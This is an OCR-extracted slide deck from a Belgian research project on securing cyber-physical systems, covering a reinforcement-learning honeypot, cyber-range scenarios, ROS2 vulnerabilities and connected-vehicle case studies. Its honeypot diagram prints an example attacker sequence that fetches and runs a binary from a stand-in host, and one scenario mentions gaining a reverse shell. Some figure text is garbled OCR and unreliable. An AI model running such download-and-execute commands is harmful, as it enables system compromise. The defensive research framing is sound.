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Résumé du défi

« Domaines: Industrie 4.0 & espace

« Cyber Physical System = systeme intelligent incorporant des réseaux de composants logiciels et
physiques qui interagissent entre eux (edge)

« besoin d'une plus grande puissance de calcul déportée

« accroissement des communications nécessaires entre ces composants ou avec une partie centrale

« Nécessite une haute tolérance aux pannes, facilité de mise a jour

ENISA - Cybersecurity is a key enabler for Industry 4.0 Bailey, B., et al. « Defending spacecraft in the cyber domain. »
adoption Aerospace Corp. TR OTR202000016, EI Segundo, CA (2019).



https://aerospace.org/sites/default/files/2019-11/Bailey_DefendingSpacecraft_11052019.pdf
https://www.enisa.europa.eu/news/enisa-news/cybersecurity-is-a-key-enabler-for-industry-4-0-adoption
https://www.enisa.europa.eu/news/enisa-news/cybersecurity-is-a-key-enabler-for-industry-4-0-adoption
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Challenges de recherche:
« Etudier l'application de méthodes et outils en tenant compte des spécificités de ces domaines

« Démontrer le succés de I'approche DevSecOps i
s ey s . Threat assessment
« Sécurité « By Design » Code reviews ¢, Riskanabysis Secrets management
/ . N Security guidelines ecf‘r;"pézfi‘#gfy’;‘ign S RIS,’L\\AC
« Sécuriser en profondeur - modele « zero trust » \ S /
ec

* Minimiser et visibilité de la surface d’attaque

« Eviter la sécurité par I'obscurité

* Rester simple, assessment vs certification

«  CNSSI 1200, CCSDS 35X.0-B, NIST CSF, ISA/IEC - 62443 ou FDAM f

31v¥3do

Impact:
7 s T A Penetration testin
- Détecter les vulnérabilités au plus tot N Valnerabilty analys' i

« minimiser leur impact pour réduire le risque
« DevSecOps = qualité + sécurité + vitesse

« Convergence entre I'lT et 'OT
« unifier le controle et la surveillance pour faciliter la gestion de la sécurité (edge)


https://public.ccsds.org/Pubs/355x0b2.pdf
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Problemes de recherche

An Adaptive Self-guarded Honeypot (UNamur)

loT Security (ULB)

Cyber Range Scenarios (UCL)

Coordination-based Process Algebra for Security (UNamur)

Vacsine - Adaptive continuous security orchestration for Cloud/Edge (CETIC)

Expérimentation dans la factory

e Déploiement d’'un systéme a sécuriser dans une sandbox de la CYBER Factory
e FEtudedecas:

o systémes autonomes connectés (Robots, edge) + gestion (Cloud)

o Introduction de vulnérabilités
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ASGARD - An Adaptive Self-guarded Honeypot
S. Touch, UNamur
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ASGARD - An Adaptive Self-guarded Honeypot

UNIVERSITE
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Adaptive (smart) honeypot:
o Interact with the attackers to collect their tools

o Defend itself from being deeply compromised
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ASGARD - An Adaptive Self-guarded Honeypot

Our approach: a honeypot as a RL agent

UNIVERSITE
||||||||

- Honeypot

(Learning Agent)

S State

Reward R

Environment

uname

'

Action

<

A
wget http://hacked.com/xyz

chmod +x xyz
./ XYZ

- allow

A -block

- substitute

Attacker
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Cyber range scenarios
B. Duhoux, UCLouvain
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Cyber range scenarios W UCLouvain

Virtual training ground

. for security experts )
Y

Cyber Range Scenarios

N
Set of hardware
components, network
topologies, software
systems with a
specific version that
contain vulnerabilities

Z'¢cyberwa
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Cyber range scenarios ¥ UCLouvain

The manual creation of scenarios including contextual information has several
disadvantages:

e Need experts,

e time-consuming,

e not really reusable.

= So we need a semi-automatic solution to facilitate the work of CRS designers /
engineers.
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Cyber range scenarios B UCLouvain
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Follower Follower Leader
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Cyber range scenarios B UCLouvain

VULNERABILITY
CVE-2019-9630

Establish reverse shell access on
leader

AcTION

AcTION
Attacker impersonates leader and sensor VULNERABILITY

sends false acceleration command to and sends false metric to driving | s CRS-2022-00002
follower c |

B vunemasLTY
CRS-2022-00003 T T CRS-2022-00003
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Cyber range scenarios

B UCLouvain
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Scenario information
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Cyber range scenarios

MITRE | Artack:

Initial Access

5 techniques

Execution

1 techniques

Persistence

5 techniques

Privilege
Escalation
2 techniques

[BUCLouvain

Defense Evasion

7 techniques

Credential
Access

5 techniques

Discovery

12 techniques

Lateral
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3 techniques
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4 techniques
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1 techniques

|
W, i

Z/eyberwal

dig

Impact

6 techniques

Drive-by
Compromise

Exploit
Public-
Facing
Application

Trusted
Relationship

Valid

Accounts (z)

User
Execution (q)

Account
Manipulation (3

Domain Policy
Modification (1)

Domain Policy
Modification 1)

Create
Account q)

Valid
Accounts ()

Hide Artifacts (1)

Brute Force (4

Forge Web
Credentials (3

Implant Internal
Image

Office
Application
Startup (g)

Valid
Accounts (3

Impair Defenses (3

Modify Cloud
Compute
Infrastructure (4)

Unused/Unsupported
Cloud Regions

Use Alternate
Authentication
Material (3)

Valid Accounts (z)

Steal
Application
Access Token

Steal Web
Session
Cookie

Unsecured
Credentials (3)

Account
Discovery (2)

Cloud
Infrastructure
Discovery

Cloud Service
Dashboard

Cloud Service
Discovery

Cloud
Storage
Object
Discovery

Network
Service
Scanning

Password
Policy
Discovery

Permission
Groups
Discovery (1)

Software
Discovery (1)

System
Information
Discovery

System
Location
Discovery

System
Network
Connections
Discovery

Internal
Spearphishing

Taint Shared
Content

Use Alternate
Authentication
Material (2)

Data from
Cloud Storage
Object

Data from
Information
Repositories (3)

Data Staged (1)

Email
Collection (2)

Transfer
Data to
Cloud
Account

Data
Destruction

Data Encrypted
for Impact

Defacement (y)
Endpoint
Denial of
Service (3

Network Denial
of Service ()

Resource
Hijacking




Sécurisation by design de systémes cyber-physiques
2. Problémes de recherche

2.4 Coordination-based Process Algebra for Security
D. Ouardi, UNamur
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Contexte et problématique industrielle associés au sujet de recherche

Développer des protocoles de sécurité corrects est notoirement difficile

= utilisation de méthodes formelles

Etude des
algebres de
processus

Développement Application

de techniques [ & des cas
model checking industriels

Extension a la
sécurité

Etude du langage
de coordination
Bach

NNNNN
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2. Problémes de recherche

VACSINE - Adaptive continuous security orchestration for Cloud/Edge

S. Dupont, G. Ginis, CETIC
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Vacsine - Adaptive continuous security orchestration for Cloud/Edge  Ocetic

Wwallor
Z'¢yberwal

Vacsine Objectives https://github.com/cetic/vacsine

Continuous security assessment

risk assessment to measure security

@ % response efficiency

FRAMEWORK

Orchestration

Automated response testing .\

and evaluation

3
3
%

Privacy

federated learning at the edge

Observability

Image ref: NIST Cyber Security Framework

intrusion/anomaly detection


https://www.nist.gov/cyberframework
https://github.com/cetic/vacsine
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2. Problémes de recherche

lIoT Security
J.M. Dricot, ULB
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loT Security - Activités de recherche [

e Sécurité des loT
O Protocoles et architectures
O Device security (hardware roots of trust)

O Design conjoint cloud-hardware

e Axes principaux actuels
O Internet des objets
O Smart grids Mécanismes de type edge-fog-cloud

O Spatial (hardware sécurisé pour les nanosatellites)

e Deux théses qui se terminent (mais sans suite)

m [ Adverserial machine learning |
m [ Smart contracts dans la blockchain ]

Recherche financée par la Région Wallonne
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loT Security - Activités de recherche uLB

® Roots of trust

2D speckle

Token

® Privacy by design

MQTT Client MQTT Broker MQTT Client
. Publish: 24° C Subscriber:
Publisher: Temperature Sensor > "_‘! ! Dee
topic I t
E Publish to topic: temperature
Publish: 24°C Publish: 24° C

Subscriber:

> MQTT Client

Recherche financée par la Région Wallonne
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3. Etude de cas - sécurité CPS - Connected vehicles

On-Board Diagnostic & O

V2VIV2IIV2C]....

;

DDoS

>
Trojan
>
Attacker Ransomware
> 5G,
WiFi
Packet filtering
Access control
Intrusion detection

Remediation Sensors,
actuators In-Vehicle Infotainment
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One leader vehicle is followed by N other vehicles (« followers »).

The vehicles can exchange information on a V2V (vehicle to vehicle)
interface and on a V2I (vehicle to infrastructure) interface

R AT
( A)@ s @/(ﬁg\)

/
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https://theconversation.com/coming-soon-to-a-highway-near-you-truck-platooning-87748
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o060 R O S Robot Operating System https://www.ros.org/

® Q 0 R NASA VIPER
O S ' « ROS used in ground software
ud . d : . - systems

e Gazebo simulation used in

v 3 . resources in pgrmanently 9 e clopment
q\\ Q lnduStrla’l Phtlovcs e e g i : testing, planning, operator

Prospecting for lunar

lunar south pole o training, etc.

» Other open source software
o cES/ROS bridge
s Yamcs
o OpenMCT
« NASA requires software
used in flight missions to

ROS-INDUSTRIAL R

ROS-Industrial is an open-source project that An open-source space robotics framework for developing
extends the advanced capabilities of ROS to fligh-quality robotics and autonomous space systems
manufacturing automation and robotics.
https://rosindustrial.org https://space.ros.org/



https://www.ros.org/
https://rosindustrial.org/about/description/
https://space.ros.org/
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3. Etude de cas - sécurité CPS - Connected vehicles

:::ROS

ROS ROS2
_§ % Master Application Application
c O
H
o
o
< [
______________________________________________________________ 5
g Client Library ‘ \ Client Library S
25 2
% % ROSTCP/ Nodelet ’ Abstract DDS Layer g"_’
~ ROSUDP AP 3L
=4 L Intra-process 3E
= API oS Ja§
sancgraamsaasnesansemsenesassessnngslopessaessanessaseasasens 43
»n 2 Linux ’ Linux/Windows/Mac/RTOS D
O® £
- 3

Mazzeo, Giovanni & Staffa, Mariacarla. (2020). TROS: Protecting Humanoids
ROS from Privileged Attackers. International Journal of Social Robotics. 12.
10.1007/s12369-019-00581-4.

ROS Protocol v1 :

Publish/Subscribe mechanism with topics
Use a master to manage communication

* No encryption

No authentication

Basically No security

ROS2 introduces:

security - AuthN, AuthZ, communication encryption
real time

distributed processing

resilience & robustness
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Vulnerabilities discovered on ROS2 and SROS2 (secured ROS2 variant).

ACVE-2019-19625 Detail ACVE-2019-19627 Detail

s UICK INFO
s e QUICK INFO Description Q
Description =
o SROS20.8.1 (after CVE-2019-19625 is mitigated) leaks ROS 2 node-related information regardless of the rtps_protection_kind configuration. CVE Dictionary Entry:
SROS 20.8.1 (which provides the tools that generate and distribute keys for Robot Operating System 2 and uses the underlying security CVE Dictionary Entry: (SROS2 provides the tools to generate and distribute keys for Robot Operating System 2 and uses the underlying security plugins of DDS from CVE-2019-19627
plugins of [IEKILELE) leaks node information due to a leaky default configuration as indicated in the CVE-2019-19625 R0S2) NVD Published Date:
policy/defaults/dds/governance.xml document. NVD Published Date: 12/06/2019
o0t NVD Last Modified:
severity EEIEEERN ossveonzo | 27132009 Souree:
. . Source: CVSS 3.x Severity and Metrics: MITRE
CVSS 3.x Severity and Metrics: MITRE
. NIST: NVD Base Score: |53 MEDIUM Vector: CVSS:3.1/AV:N/AC:L/PR:N/ULN/S:U/C:L/:N/A:N
\§ | NIST:NVD Base Score: [ S MEDIUM Vector: CVSS:3.1/AV:N/AC:L/PR:N/ULN/S:U/C:L/E:N/A:N
CNA: MITRE Base Score: - Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
“ CNA: MITRE Base Score: [FSHIGH] Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References:
e Benhamouda, Fabrice & Lepoint, Tancréde & Loss, Julian & Orru, Michele & Raykova, Mariana. (2022). On
the (in)Security of ROS. Journal of Cryptology. 35. 10.1007/s00145-022-09436-0. (source)
e Deng, Gelei et al. “On the (In)Security of Secure ROS2.” Proceedings of the 2022 ACM SIGSAC
Conference on Computer and Communications Security (2022) (source)
e Profanter, Stefan & Tekat, Ayhun & Dorofeev, Kirill & Rickert, Markus & Knoll, Alois. (2019). OPC UA versus
ROS, DDS, and MQTT: Performance Evaluation of Industry 4.0 Protocols. 10.1109/ICIT.2019.8755050.


https://eprint.iacr.org/2020/945.pdf
https://tianweiz07.github.io/Papers/22-ccs-2.pdf
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3. Etude de cas - sécurité CPS - Connected vehicles :

Donkey Car chassis

2D Lidar

Ultrasonic sensor

Wide Lens camera
RaspBerry Pi / Jetson Nano
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3. Etude de cas - sécurité CPS - Connected vehicles - CYBER FACTORY

La Win4Excellence Factory est une usine logicielle (ou Software Factory en anglais). Cette
plateforme matérielle et logicielle est utilisée sur les projets Win4Excellence pour favoriser la
collaboration entre les acteurs de la recherche et de l'industrie wallons, et contribuer a la

diffusion des résultats de recherche de ces projets.

A

Chercheurs universités
CRA
Industriels

T4

résultats de recherche
briques logicielles,
articles,
datasets,

DevSecOps

Win4Excellence Factory yg

Ny

- increase quality, speed and security

briques logicielles ++,
services

n Industriels

feedback
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4. Perspectives

e Interested ? Join us ! sebastien.dupont@cetic.be

e Monthly status meetings
e Meeting with industry actors 05/2023

e Integration in the Cyber Factory
e Dissemination

agenda  communauté  team

hub_ﬂ hub créatif
w¥ charleroi métropole services + blog fablab
Challengez-vous
sur le marché innovant e e e
des Smartcities
PSS
Du10aul2mars 2023 (g : ATEHER
o Chadiica . P X 23 - 23.03.2023 .
' : INTRODUCTION ET SENSIBILISATION A LA
CYBERSECURITE

Comprendre les enjeux, les processus et méthodes actuels de la
cybersécurité

Z'¢yberwal
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Merci de votre attention



